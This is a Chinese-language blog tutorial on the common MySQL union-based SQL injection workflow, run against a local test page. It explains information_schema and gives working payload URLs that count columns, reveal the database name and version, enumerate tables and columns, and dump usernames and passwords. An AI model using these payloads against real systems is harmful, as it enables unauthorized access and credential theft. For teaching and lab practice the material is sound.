mysql常见注入流程

一、Mysql数据库结构及特性:

1)Mysql数据库结构

1
2
3
4
5
6
7
8
|数据库A——网站A
|--表
|----列(字段)
|------数据(值)

数据库B——网站B
......
数据库C——网站C

注入的不同攻击方式及手法由数据库类型造成!

2)版本特性

对于Mysql数据库,分为5.0以上和以下版本,区别在于有无information_schema数据库

  • Mysql5.0以上版本

    存在自带数据库information_schema

  • Mysql5.0以下版本

    不存在自带数据库information_schema

information_schema:记录有mysql所有数据库名,表明及列名信息的自带数据库,其中有三个重要的表

  • schemata:记录所有数据库名的表
  • tables:记录所有数据库下的表名信息的表
  • columns:记录所有数据库下所有表的列名信息的表

这三个表中的重要字段结构如下:

1
2
|information_schema.schemata:记录所有数据库名的表
|----schema_name:数据库名
1
2
3
|information_schema.tables:记录所有数据库下的表名信息的表
|----table_schema:数据库名
|----table_name:表名
1
2
3
4
|information_schema.columns:记录所有数据库下所有表的列名信息的表
|----table_schema:数据库名
|----table_name:表名
|----Column_name:列名

3)用户权限特性

最高权限用户ROOT,有所有数据库的权限,并且可以利用Mysql调用执行命令,操作文件读写等。

二、联合查询获取数据库数据

1)获取正常情况下查询的字段数

要使用联合查询,必须满足联合查询的限制条件,其基本语法:由多条select语句构成: 每一条select语句获取的字段数必须严格一致(但是字段类型无关),因此我们需要知道正常情况下查询的字段数,通过添加额外的order by x(x代表字段数目),例如:

http://127.0.0.1/test/sqlin.php?x=1 order by 3

当猜对时,页面显示正常,否则不正常

2)获取数据库名与数据库版本

database():数据库名

version():数据库版本

当得到正常情况下查询的字段数后,就可以使用联合查询来获得当前使用的数据库名称与数据库版本

http://127.0.0.1/test/sqlin.php?x=1 union select database(),version(),3

数据库名:megumi;数据库版本:5.5.53

3)获取当前数据库中的表名

当我们得到数据库的名称和版本之后(5.0以上),我们就可以通过联合查询,在information_schema数据库的tables表中查询我们当前所在的数据库中的表名

1
http://127.0.0.1/test/sqlin.php?x=1 union select table_name,2,3 from information_schema.tables where table_schema='megumi'

union后的语义为:查询table_name,2,3字段的值从information_schema.tables这个表中当字段table_schema的值为megumi时

4)获取表中的列名

爆出表名之后,我们就可以进一步使用联合查询爆出的表下的列名,比如user表

1
http://127.0.0.1/test/sqlin.php?x=1 union select Column_name,2,3 from information_schema.columns where table_schema='megumi' and table_name='user'

5)获取数据库数据

爆出列名之后,我们就可以轻松获取到相应的数据了

http://127.0.0.1/test/sqlin.php?x=1 union select username,password,3 from user

由于我们测试数据库中只填写了一条记录,所以这里只爆出了一条用户名和密码,实际情况下,这一步可以爆出所有的数据

文章作者: TechOtaku
文章链接: http://techotaku.me/2018/07/24/mysql常见注入流程/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 徒然の博客